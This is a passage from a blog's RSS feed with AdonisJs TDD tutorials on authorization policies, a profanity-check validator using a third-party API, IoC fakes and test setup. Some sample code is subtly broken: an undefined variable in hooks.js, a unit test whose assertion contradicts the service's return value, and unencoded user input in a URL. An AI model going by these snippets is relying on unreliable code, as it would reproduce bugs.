  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">let</span> response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">`test/modify-thread-policy/<span class="hljs-subst">${thread.id}</span>`</span>).loginVia(moderator).send().end()
  response.assertStatus(<span class="hljs-number">200</span>)
})
</code></pre>
<p>Now this test will also return a 403, so let's change the code in <code>ModifyThreadPolicy.js</code>.</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ModifyThreadPolicy</span> </span>{
  <span class="hljs-keyword">async</span> handle ({ params, auth, response }, next) {
    <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.findOrFail(params.id)
    <span class="hljs-keyword">if</span> (auth.user.type !== <span class="hljs-number">1</span> &amp;&amp; thread.user_id !== auth.user.id) {
      <span class="hljs-keyword">return</span> response.forbidden()
    }

    <span class="hljs-keyword">await</span> next()
  }
}
</code></pre>
<p>Alright, that makes the tests pass. Now of course we have to refactor this! But now we have the tests to let us change the code with confidence.</p>
<x-ad />
<hr>
<p>First thing we want to refactor is <code>auth.user.type !== 1</code>. I don't like passing around these hardcoded values, so let's change it up like this</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (!auth.user.isModerator() <span class="hljs-comment">// ...</span>
</code></pre>
<p>If we run the tests, we will have broken most of them because the <code>isModerator</code> method does not exist yet. To create it, let's again first break down to a unit test that checks this one thing specifically.</p>
<p>Run the following command to create a new test &quot;adonis make:test user&quot; and choose &quot;Unit test&quot;.</p>
<p>Replace the file with the following code testing if the user is a moderator.</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> { test, trait } = use(<span class="hljs-string">'Test/Suite'</span>)(<span class="hljs-string">'User'</span>)

<span class="hljs-keyword">const</span> Factory = use(<span class="hljs-string">'Factory'</span>)

trait(<span class="hljs-string">'DatabaseTransactions'</span>)

test(<span class="hljs-string">'can check if user is moderator'</span>, <span class="hljs-keyword">async</span> ({ assert }) =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).make({ <span class="hljs-attr">type</span>: <span class="hljs-number">1</span> })
  assert.isTrue(user.isModerator())
})

</code></pre>
<p>The difference between Factory.model(...).make and .create is that &quot;make&quot; does not store the user in the database, therefore making it a little faster.</p>
<p>And run the test in isolation</p>
<pre class="hljs"><code>npm t -- -f <span class="hljs-string">"user.spec.js"</span>
</code></pre>
<p>This will return the same error as before <code>TypeError: user.isModerator is not a function</code>.</p>
<p>Now let's add the actual code in <code>app/Models/User.js</code></p>
<pre class="hljs"><code>isModerator() {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.type === <span class="hljs-number">1</span>
}
</code></pre>
<p>And the test becomes green!</p>
<p>Let's add another test testing if the code also works for users that are not moderators.</p>
<pre class="hljs"><code>test(<span class="hljs-string">'can check if user is not a moderator'</span>, <span class="hljs-keyword">async</span> ({ assert }) =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).make()
  assert.isFalse(user.isModerator())
})
</code></pre>
<p>And now when we run the entire test suite again, all tests are green!</p>
<p>Let's head back to the policy again. Personally I find our condition to be hard to read, it can certainly be simplified:</p>
<pre class="hljs"><code><span class="hljs-keyword">async</span> handle ({ params, auth, response }, next) {
    <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.findOrFail(params.id)

    <span class="hljs-keyword">if</span> (auth.user.isModerator()) {
      <span class="hljs-keyword">return</span> next()
    }

    <span class="hljs-keyword">if</span> (thread.user_id === auth.user.id) {
      <span class="hljs-keyword">return</span> next()
    }

    <span class="hljs-keyword">return</span> response.forbidden()  
  }
</code></pre>
<p>Finally let's add the missing test that moderators can update threads</p>
<pre class="hljs"><code>test(<span class="hljs-string">'moderator can update title and body of threads'</span>, <span class="hljs-keyword">async</span> ({ assert, client }) =&gt; {
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">const</span> moderator = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create({ <span class="hljs-attr">type</span>: <span class="hljs-number">1</span>})
  <span class="hljs-keyword">const</span> attributes = { <span class="hljs-attr">title</span>: <span class="hljs-string">'new title'</span>, <span class="hljs-attr">body</span>: <span class="hljs-string">'new body'</span> }

  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.put(thread.url()).loginVia(moderator).send(attributes).end()
  response.assertStatus(<span class="hljs-number">200</span>)
})
</code></pre>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TDD course with AdonisJs - 8. Third party APIs, ioc and custom validators]]></title>
            <link>https://michaelzanggl.com/articles/tdd-with-adonisjs-8/</link>
            <guid>tdd-with-adonisjs-8</guid>
            <description><![CDATA[Let's take a closer look at the ioc container and implement a third party API.]]></description>
            <content:encoded><![CDATA[<p>This time let's try something completely different. Let's see how we can implement a third party API.</p>
<p>As always you can find all the changes in the following commit: <a href="https://github.com/MZanggl/tdd-adonisjs/commit/358466cbbc86f49f3343378dea2500ce87b05002">https://github.com/MZanggl/tdd-adonisjs/commit/358466cbbc86f49f3343378dea2500ce87b05002</a></p>
<p>For the API I chose <a href="http://www.purgomalum.com/">http://www.purgomalum.com/</a> to check against profanities. This API doesn't require an API key and is therefore perfect for this example.</p>
<p>We can check for profanities by accessing this URL: <a href="https://www.purgomalum.com/service/containsprofanity?text=jackass">https://www.purgomalum.com/service/containsprofanity?text=jackass</a>
It simply returns a boolean whether it contains profanities or not.</p>
<p>First let's add the test to our functional &quot;thread.spec.js&quot; tests</p>
<pre class="hljs"><code>test(<span class="hljs-string">'user can not create thread where title contains profanities'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
  <span class="hljs-keyword">const</span> attributes = { <span class="hljs-attr">title</span>: <span class="hljs-string">'jackass'</span>, <span class="hljs-attr">body</span>: <span class="hljs-string">'body'</span> }
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">'/threads'</span>).loginVia(user).send(attributes).end()
  response.assertStatus(<span class="hljs-number">400</span>)
})
</code></pre>
<p>This test will fail since it still returns 200. So let's fix that.</p>
<p>To access the API we will use the <code>node-fetch</code> library.</p>
<pre class="hljs"><code>npm install node-fetch
</code></pre>
<x-ad />
<p>And to test it, let's add add the profanity check to the ThreadController's store method.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> fetch = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node-fetch'</span>)

<span class="hljs-comment">//...</span>

<span class="hljs-keyword">async</span> store({ request, auth, response }) {
    <span class="hljs-keyword">const</span> containsProfanity = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">'https://www.purgomalum.com/service/containsprofanity?text='</span> + request.input(<span class="hljs-string">'title'</span>)).then(<span class="hljs-function"><span class="hljs-params">r</span> =&gt;</span> r.text())
    <span class="hljs-keyword">if</span> (containsProfanity === <span class="hljs-string">'true'</span>) {
        <span class="hljs-keyword">return</span> response.status(<span class="hljs-number">400</span>).json({})
    }

<span class="hljs-comment">// ...</span>
</code></pre>
<p>This works, but there are a couple things wrong with this.</p>
<ol>
<li>Performing the actual fetch inside the test will slow our tests down for nothing. This would also be problematic if there is an API limit.</li>
<li>The controller is not the best place to keep this logic. A custom validation would make more sense.</li>
</ol>
<p>Let's look at problem 2 first.</p>
<p>First let's revert the controller back to its original state.</p>
<p>Next, add the profanity check to the StoreThread validator.</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">StoreThread</span> </span>{
  <span class="hljs-keyword">get</span> rules () {
    <span class="hljs-keyword">return</span> {
      <span class="hljs-attr">title</span>: <span class="hljs-string">'required|profanity'</span>, 
      <span class="hljs-attr">body</span>: <span class="hljs-string">'required'</span>
    }
  }
}

<span class="hljs-built_in">module</span>.exports = StoreThread
</code></pre>
<p>This will fail since we first have to add a 'profanity' rule to Adonis.</p>
<p>To add new rules we can directly hook into Adonis to extend the validator class.
For this, we first have to create a file <code>hooks.js</code> inside the <code>start</code> folder.</p>
<p>Then paste in the following code:</p>
<pre class="hljs"><code><span class="hljs-comment">// start/hooks.js</span>

<span class="hljs-keyword">const</span> { hooks } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'@adonisjs/ignitor'</span>)
<span class="hljs-keyword">const</span> fetch = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node-fetch'</span>)

hooks.after.providersRegistered(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
    use(<span class="hljs-string">'Validator'</span>).extend(<span class="hljs-string">'profanity'</span>, <span class="hljs-keyword">async</span> (data, field, message) =&gt; {
        <span class="hljs-keyword">const</span> value = data[field]
        <span class="hljs-comment">// requried rule will take care of this</span>
        <span class="hljs-keyword">if</span> (!value) {
          <span class="hljs-keyword">return</span>
        }
      
        <span class="hljs-keyword">const</span> containsProfanity = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">'https://www.purgomalum.com/service/containsprofanity?text='</span> + value).then(<span class="hljs-function"><span class="hljs-params">r</span> =&gt;</span> r.text())
        <span class="hljs-keyword">if</span> (containsProfanity === <span class="hljs-string">'true'</span>) {
          <span class="hljs-keyword">throw</span> message
        }
    })
})
</code></pre>
<p>Let's go through this!</p>
<ol>
<li>The callback passed to after.providersRegistered is, like it says, being executed after all providers (e.g. &quot;Validator&quot;) were registered.</li>
<li>Once the providers are registerd, we can access the validator with <code>use('Validator')</code>.</li>
<li>Validator provides an <code>extend</code> method with which we can create custom rules.</li>
<li>The callback receives a couple of arguments. &quot;data&quot; contains the entire request data, &quot;field&quot; is the field which is validated against (in this case &quot;subject&quot;) and &quot;message&quot; is the error message to throw when the validation fails (This can be overwritten inside our StoreThread validator, that's why it is being passed as a variable here).</li>
<li>The rest of the code is very similar to before.</li>
</ol>
<p>Now we made the tests pass again. But we significantly lowered the speed of our tests since we always call a rest API.</p>
<p>To overcome this, let's fake the implementation. For this, we first have to move out the core logic of the profanity check into its own service.</p>
<pre class="hljs"><code><span class="hljs-comment">// app/Services/ProfanityGuard.js</span>

<span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> fetch = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node-fetch'</span>)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ProfanityGuard</span> </span>{
    <span class="hljs-keyword">async</span> handle(value) {      
        <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">'https://www.purgomalum.com/service/containsprofanity?text='</span> + value)
        <span class="hljs-keyword">return</span> (<span class="hljs-keyword">await</span> response.text()) === <span class="hljs-string">'false'</span>
    }
}

<span class="hljs-built_in">module</span>.exports = ProfanityGuard
</code></pre>
<p>and our hooks.js simply becomes</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> { hooks } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'@adonisjs/ignitor'</span>)

hooks.after.providersRegistered(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
    use(<span class="hljs-string">'Validator'</span>).extend(<span class="hljs-string">'profanity'</span>, <span class="hljs-keyword">async</span> (data, field, message) =&gt; {
        <span class="hljs-keyword">const</span> profanityGuard = ioc.make(<span class="hljs-string">'App/Services/ProfanityGuard'</span>)
        <span class="hljs-keyword">if</span> (!data[field]) <span class="hljs-keyword">return</span>
      
        <span class="hljs-keyword">const</span> isClean = <span class="hljs-keyword">await</span> profanityGuard.handle(value)
        <span class="hljs-keyword">if</span> (!isClean) <span class="hljs-keyword">throw</span> message
    })
})
</code></pre>
<p>This might look like we simply moved the file out, but because we now do <code>ioc.make('App/Services/ProfanityGuard')</code> we can actually fake this part of the code. So, I think I have to explain <code>ioc.make('App/Services/ProfanityGuard')</code> here...</p>
<p>In case you didn't know, the global <code>use</code> function we always use is just a shorthand for <code>ioc.use</code>, so it is being resolved out of the service container. <code>ioc.make</code> is essentially just a handy method to do &quot;new use(...)&quot;.
Since the file is inside the &quot;app&quot; folder and this folder is autoloaded, we can access every file within without having to register it to the container.
If you are unfamiliar with these terms, check out my <a href="/articles/demystifying-dependency-injection">blog post</a> on the topic or the <a href="https://adonisjs.com/docs/4.1/ioc-container">Adonisjs documentation</a>.
Basically, since we now resolve the dependency out of the service container, we can also fake its implementation!</p>
<p>To do so, let's go to our functional <code>thread.spec.js</code> file and add the following imports to the top:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> { test, trait, before, after } = use(<span class="hljs-string">'Test/Suite'</span>)(<span class="hljs-string">'Thread'</span>) <span class="hljs-comment">// "before" and "after" are new</span>
<span class="hljs-keyword">const</span> { ioc } = use(<span class="hljs-string">'@adonisjs/fold'</span>)
</code></pre>
<p>Next, add the fakes as the first thing after registering all the traits:</p>
<pre class="hljs"><code>
before(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
  ioc.fake(<span class="hljs-string">'App/Services/ProfanityGuard'</span>, () =&gt; {
    <span class="hljs-keyword">return</span> {
      <span class="hljs-attr">handle</span>: <span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> value !== <span class="hljs-string">'jackass'</span>
    }
  })
})

after(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
  ioc.restore(<span class="hljs-string">'App/Services/ProfanityGuard'</span>)
})
</code></pre>
<p>So the ProfanityGuard will now simply validate the input against the word &quot;jackass&quot;, there is no more fetching involved.</p>
<p>And our tests still pass!</p>
<p>A couple things to note here though is that we no longer test the profanity service. In fact we faked the entire service so we have 0 test coverage on that. This is fine for the functional test.
To test the service specifically we can drop down to a unit test. In that we would only fake the &quot;node-fetch&quot; implementation.</p>
<p>You can create the test using</p>
<pre class="hljs"><code>adonis make:<span class="hljs-built_in">test</span> ProfanityGuard
</code></pre>
<p>and then choose unit. This is the content of our test:</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> { test, trait, before, after } = use(<span class="hljs-string">'Test/Suite'</span>)(<span class="hljs-string">'ProfanityGuard'</span>)
<span class="hljs-keyword">const</span> { ioc } = use(<span class="hljs-string">'@adonisjs/fold'</span>)
<span class="hljs-keyword">const</span> ProfanityGuard = use(<span class="hljs-string">'App/Services/ProfanityGuard'</span>)

before(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
  ioc.fake(<span class="hljs-string">'node-fetch'</span>, () =&gt; {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">async</span> () =&gt; ({
      <span class="hljs-attr">text</span>: <span class="hljs-keyword">async</span> value =&gt; {
        <span class="hljs-keyword">return</span> (value === <span class="hljs-string">'jackass'</span>).toString()
      }
    })
  })
})

after(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
  ioc.restore(<span class="hljs-string">'node-fetch'</span>)
})


test(<span class="hljs-string">'can verify that passed value is a profanity'</span>, <span class="hljs-keyword">async</span> ({ assert }) =&gt; {
  <span class="hljs-keyword">const</span> profanityGuard = <span class="hljs-keyword">new</span> ProfanityGuard()
  assert.isTrue(<span class="hljs-keyword">await</span> profanityGuard.handle(<span class="hljs-string">'jackass'</span>))
})

test(<span class="hljs-string">'can verify that passed value is not a profanity'</span>, <span class="hljs-keyword">async</span> ({ assert }) =&gt; {
  <span class="hljs-keyword">const</span> profanityGuard = <span class="hljs-keyword">new</span> ProfanityGuard()
  assert.isTrue(<span class="hljs-keyword">await</span> profanityGuard.handle(<span class="hljs-string">'test'</span>))
})
</code></pre>
<p>We now fake the fetch implementation, but it's not yet working since we are still using &quot;require&quot; in our ProfanityGuard. Luckily, the &quot;use&quot; method can also resolve node_module dependencies. So let's fix it:</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ProfanityGuard</span> </span>{
    <span class="hljs-keyword">constructor</span>() {
        <span class="hljs-keyword">this</span>.fetch = use(<span class="hljs-string">'node-fetch'</span>)
    }
    <span class="hljs-keyword">async</span> handle(value) {
        <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> <span class="hljs-keyword">this</span>.fetch(<span class="hljs-string">'https://www.purgomalum.com/service/containsprofanity?text='</span> + value)
        <span class="hljs-keyword">return</span> (<span class="hljs-keyword">await</span> response.text()) === <span class="hljs-string">'false'</span>
    }
}

<span class="hljs-built_in">module</span>.exports = ProfanityGuard
</code></pre>
<p>We not only switched out &quot;require&quot; with &quot;use&quot;, but also moved it to the constructor since it can't be faked if it is at the top (since it gets required before we register the fake).</p>
<p>There is no real need to test the &quot;fetch&quot; library or the actual rest API since they are (hopefully) already tested by those is in charge of them.</p>
<p>That's all there is for this episode. Let me know in the comments if there is something you'd like to see in a future episode!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TDD course with AdonisJs - 9. Cleaning up after ourselves]]></title>
            <link>https://michaelzanggl.com/articles/tdd-with-adonisjs-9/</link>
            <guid>tdd-with-adonisjs-9</guid>
            <description><![CDATA[It's always good to take a pause, look back at what we built and see if we can clean up something.]]></description>
            <content:encoded><![CDATA[<p>Let's refactor our functional threads test a little. It is getting a little big...</p>
<h2 id="splitting-things-out">Splitting things out</h2>
<p>Currently it all lives inside one big file with over 134 lines. It doesn't need to be like that though.</p>
<p>In fact let's take all the tests the belongs to creating a thread into a dedicated <code>create-thread.spec.js</code>. As you can see, we are now naming the functional test after what its trying to cover.</p>
<p>To do this, let's use vs code's refactoring methods. First however, let's bring the test <code>can not create thread with no body or title</code> up to all the other tests related to creating threads.</p>
<p>Next, highlight all the code starting from the test <code>authorized user can create threads</code> until the one we just moved up. Right click and choose &quot;Refactor&quot; &gt; &quot;Move to a new file&quot;.</p>
<p>You can now rename that new file to <code>create-thread.spec.js</code>.</p>
<p>Finally copy over the meta stuff from <code>thread.spec.js</code> at the top of the file.</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> { test, trait, before, after } = use(<span class="hljs-string">'Test/Suite'</span>)(<span class="hljs-string">'Thread'</span>)
<span class="hljs-keyword">const</span> { ioc } = use(<span class="hljs-string">'@adonisjs/fold'</span>)
<span class="hljs-keyword">const</span> Thread = use(<span class="hljs-string">'App/Models/Thread'</span>)
<span class="hljs-keyword">const</span> Factory = use(<span class="hljs-string">'Factory'</span>)

trait(<span class="hljs-string">'Test/ApiClient'</span>)
trait(<span class="hljs-string">'Auth/Client'</span>)
trait(<span class="hljs-string">'DatabaseTransactions'</span>)

before(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
  ioc.fake(<span class="hljs-string">'App/Services/ProfanityGuard'</span>, () =&gt; {
    <span class="hljs-keyword">return</span> {
      <span class="hljs-attr">handle</span>: <span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> value !== <span class="hljs-string">'jackass'</span>
    }
  })
})

after(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
  ioc.restore(<span class="hljs-string">'App/Services/ProfanityGuard'</span>)
})
</code></pre>
<p>Nice! We can now do the same for the tests for reading threads (the two at the bottom). Let's extract them to a dedicated <code>read-thread.spec.js</code>. Be aware that we won't need the ioc fakes here.</p>
<p>Finally we can rename <code>thread.spec.js</code> to <code>modify-thread.spec.js</code>. And running our test suite should still return green!</p>
<p>Here is the commit: <a href="https://github.com/MZanggl/tdd-adonisjs/commit/ec1ebfe3f7a34236054b4077373502a76130b44d">https://github.com/MZanggl/tdd-adonisjs/commit/ec1ebfe3f7a34236054b4077373502a76130b44d</a></p>
<x-ad />
<h2 id="simplifying-use-of-factory">Simplifying use of Factory</h2>
<p>Let's look at something in our tests that we do repeatedly and see if we identified a pattern.
I think our most commonly used line of code is along the lines of</p>
<pre class="hljs"><code>Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
Factory.model(<span class="hljs-string">'App/Models/User'</span>).create({ <span class="hljs-built_in">type</span>: 1 })
Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).createMany(3)
</code></pre>
<p>Don't forget that because of this, every file also needs to require the Factory.</p>
<p>Now I will do something that might shock some, but stay with me for a second...
Let's go over to <code>vowfile.js</code> and add this around the module.exports:</p>
<pre class="hljs"><code><span class="hljs-comment">// ...</span>
<span class="hljs-keyword">const</span> Factory = use(<span class="hljs-string">'Factory'</span>)

<span class="hljs-comment">// old</span>
<span class="hljs-built_in">module</span>.exports = <span class="hljs-function">(<span class="hljs-params">cli, runner</span>) =&gt;</span> {
<span class="hljs-comment">// end old</span>

  global.factory = <span class="hljs-function">(<span class="hljs-params">model</span>) =&gt;</span> {
    <span class="hljs-keyword">return</span> Factory.model(model)
  }

<span class="hljs-comment">// ...</span>
</code></pre>
<p>Yes, we just added a global variable. This allows us to simply create threads doing <code>factory('App/Models/Thread').create()</code>. And we now no longer have to require &quot;Factory&quot; in any of our tests.</p>
<p>While global variables are usually considered bad, they can be really useful in scenarios like this, making writing tests with Adonis even simpler. Just keep them to a minimum...</p>
<p>Here is the commit: <a href="https://github.com/MZanggl/tdd-adonisjs/commit/4a613b1e7e8f4e86349519e57285b8b0e34ddb93">https://github.com/MZanggl/tdd-adonisjs/commit/4a613b1e7e8f4e86349519e57285b8b0e34ddb93</a></p>
<h2 id="snippets">Snippets</h2>
<p>There is still quite a lot of logic we repeat for each test.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> { test, trait, before, after } = use(<span class="hljs-string">'Test/Suite'</span>)(<span class="hljs-string">'Thread'</span>)

trait(<span class="hljs-string">'Test/ApiClient'</span>)
trait(<span class="hljs-string">'Auth/Client'</span>)
trait(<span class="hljs-string">'DatabaseTransactions'</span>)

test(<span class="hljs-string">'example'</span>, <span class="hljs-keyword">async</span> () =&gt; {

})
</code></pre>
<p>So let's create a snippet to do just that! Now we could go ahead and extract these things out into a separate file, doing all sorts of abstractions around it but we do want to be careful with things like this. The more abstractions we write aorund the framework the harder it becomes to update it. So let's at least wait for Adonis 5 and see how things are there...</p>
<p>For now let's create a snippet in the project.</p>
<ol>
<li>Hit Ctrl/Cmd + P and search for <code>user snippet</code></li>
<li>Choose <code>Preferences: Configure User Snippets</code></li>
<li>Choose <code>New Snippets file for ...</code> and give it the name <code>make-test</code></li>
</ol>
<p>This will now create a new file inside the repository so every member in the team can make use of the snippet.</p>
<p>To see how snippets work, let's comment out:</p>
<pre class="hljs"><code>Print to console<span class="hljs-string">": {
// 	"</span>scope<span class="hljs-string">": "</span>javascript,typescript<span class="hljs-string">",
// 	"</span>prefix<span class="hljs-string">": "</span><span class="hljs-built_in">log</span><span class="hljs-string">",
// 	"</span>body<span class="hljs-string">": [
// 		"</span>console.log(<span class="hljs-string">'$1'</span>);<span class="hljs-string">",
// 		"</span><span class="hljs-variable">$2</span><span class="hljs-string">"
// 	],
// 	"</span>description<span class="hljs-string">": "</span>Log output to console<span class="hljs-string">"
// }
</span></code></pre>
<p>This will make it possible to use the following shortcut in any javascript or typescript file</p>
<p><img src="https://thepracticaldev.s3.amazonaws.com/i/xv94npjpmfyk1jj6ey95.PNG" alt=""></p>
<p>Now we just have to replace the prefix, body and descriptions to match the creation of a test. Luckily I did the work for you so please enjoy:</p>
<pre class="hljs"><code>{
	<span class="hljs-string">"Make test"</span>: {
		<span class="hljs-string">"scope"</span>: <span class="hljs-string">"javascript,typescript"</span>,
		<span class="hljs-string">"prefix"</span>: <span class="hljs-string">"make:test"</span>,
		<span class="hljs-string">"body"</span>: [
			<span class="hljs-string">"'use strict'"</span>,
			<span class="hljs-string">""</span>,
			<span class="hljs-string">"const { test, trait, before, after } = use('Test/Suite')('<span class="hljs-variable">$TM_FILENAME</span>')"</span>,
			<span class="hljs-string">""</span>,
			<span class="hljs-string">"trait('Test/ApiClient')"</span>,
			<span class="hljs-string">"trait('Auth/Client')"</span>,
			<span class="hljs-string">"trait('DatabaseTransactions')"</span>,
			<span class="hljs-string">""</span>,
			<span class="hljs-string">"test('example', async ({ client }) =&gt; {"</span>,
			<span class="hljs-string">"<span class="hljs-variable">$2</span>\tawait factory('App/Models/User').create()"</span>,
			<span class="hljs-string">"\tconst response = await client.get('test').send().end()"</span>,
			<span class="hljs-string">"\tresponse.assertStatus(200)"</span>,
			<span class="hljs-string">"})"</span>,
			<span class="hljs-string">""</span>
		],
		<span class="hljs-string">"description"</span>: <span class="hljs-string">"make a test"</span>
	}
}
</code></pre>
<p>Now we can just write <code>make:test</code> to create a test snippet with the cursor conveniently starting inside the first test, creating:</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> { test, trait, before, after } = use(<span class="hljs-string">'Test/Suite'</span>)(<span class="hljs-string">'&lt;file name&gt;'</span>)

trait(<span class="hljs-string">'Test/ApiClient'</span>)
trait(<span class="hljs-string">'Auth/Client'</span>)
trait(<span class="hljs-string">'DatabaseTransactions'</span>)

test(<span class="hljs-string">'example'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
	<span class="hljs-keyword">await</span> factory(<span class="hljs-string">'App/Models/User'</span>).create()
    <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.get(<span class="hljs-string">'test'</span>).send().end()
    response.assertStatus(<span class="hljs-number">200</span>)
})
</code></pre>
<p>Here is the commit: <a href="https://github.com/MZanggl/tdd-adonisjs/commit/81f8e44c09658329d05aed84161177acda2f3cf9">https://github.com/MZanggl/tdd-adonisjs/commit/81f8e44c09658329d05aed84161177acda2f3cf9</a></p>
<hr>
<p>Whenever there is something that could be simplified, also consider raising an issue/PR for it on the Adonis repositories.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Testing made easy with AdonisJs]]></title>
            <link>https://michaelzanggl.com/articles/testing-made-easy-with-adonisjs/</link>
            <guid>testing-made-easy-with-adonisjs</guid>
            <description><![CDATA[Adonis lets you write clean tests and is a good candidate for test driven development. I will show how to get started with testing as well as some common techniques regarding the database setup.]]></description>
            <content:encoded><![CDATA[<p>Adonis lets you write really clean tests and is a good candidate for test driven development. I will show how to get started with testing as well as some common techniques regarding the database setup. You can read up about more things in the official docs <a href="https://adonisjs.com/docs/4.1/">https://adonisjs.com/docs/4.1/</a>.</p>
<h2 id="setup">Setup</h2>
<pre class="hljs"><code>adonis install @adonisjs/vow
</code></pre>
<p>Next, add vowProvider under <code>start/app.js</code> in the <code>aceProviders</code> array.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> aceProviders = [
    <span class="hljs-string">'@adonisjs/vow/providers/VowProvider'</span>,
]
</code></pre>
<p>Finally, run <code>adonis test</code> to run all tests.</p>
<h2 id="dealing-with-database">Dealing with Database</h2>
<p>Installing vow creates the two files <code>vowfile.js</code> and <code>.env.testing</code>, as well as an example test.</p>
<h3 id="test-database">Test database</h3>
<p>Copy over the database settings from your <code>.env</code> to <code>.env.testing</code>. Make sure to change <code>DB_DATABASE</code> to a different database for testing. To make the tests run faster, pick sqlite as the <code>DB_CONNECTION</code> (You need to install the npm dependency sqlite3 for it).</p>
<h3 id="migrations">Migrations</h3>
<p>If you use migrations, you can easily fill your new testing database before running tests and reset it again after running them.</p>
<p>Simply go inside the file <code>vowfile.js</code> and uncomment all the lines needed for migrations. In essence, this is what the file looks like</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> ace = <span class="hljs-built_in">require</span>(<span class="hljs-string">'@adonisjs/ace'</span>)

<span class="hljs-built_in">module</span>.exports = <span class="hljs-function">(<span class="hljs-params">cli, runner</span>) =&gt;</span> {
  runner.before(<span class="hljs-keyword">async</span> () =&gt; {
    use(<span class="hljs-string">'Adonis/Src/Server'</span>).listen(process.env.HOST, process.env.PORT)

    <span class="hljs-keyword">await</span> ace.call(<span class="hljs-string">'migration:run'</span>, {}, { <span class="hljs-attr">silent</span>: <span class="hljs-literal">true</span> })
  })

  runner.after(<span class="hljs-keyword">async</span> () =&gt; {
    use(<span class="hljs-string">'Adonis/Src/Server'</span>).getInstance().close()

    <span class="hljs-keyword">await</span> ace.call(<span class="hljs-string">'migration:reset'</span>, {}, { <span class="hljs-attr">silent</span>: <span class="hljs-literal">true</span> })
  })
}

</code></pre>
<x-ad />
<h3 id="resetting-transactions-after-each-test">Resetting transactions after each test</h3>
<p>You don't want a test to accidentally depend on data inserted by a different test. To keep tests simple, it's best to rollback all inserted data after each test. We can do this by using the DatabaseTransactions trait. All queries get wrapped in a transaction that gets rolled back automatically.</p>
<p>Here is an example:</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> { test, trait } = use(<span class="hljs-string">'Test/Suite'</span>)(<span class="hljs-string">'suite name'</span>)

trait(<span class="hljs-string">'DatabaseTransactions'</span>)

test(<span class="hljs-string">'name of test'</span>, <span class="hljs-keyword">async</span> ({ assert }) =&gt; { })
</code></pre>
<h3 id="model-factories">Model factories</h3>
<p>We often rely on data in the database for our tests. It would be quite painful though to always insert the data manually. To make life simple, we can create <a href="https://adonisjs.com/docs/4.1/seeds-and-factories#_model_factory_api">model factories</a> inside <code>database/factory.js</code>. Here is an example for a user factory:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> Factory = use(<span class="hljs-string">'Factory'</span>)

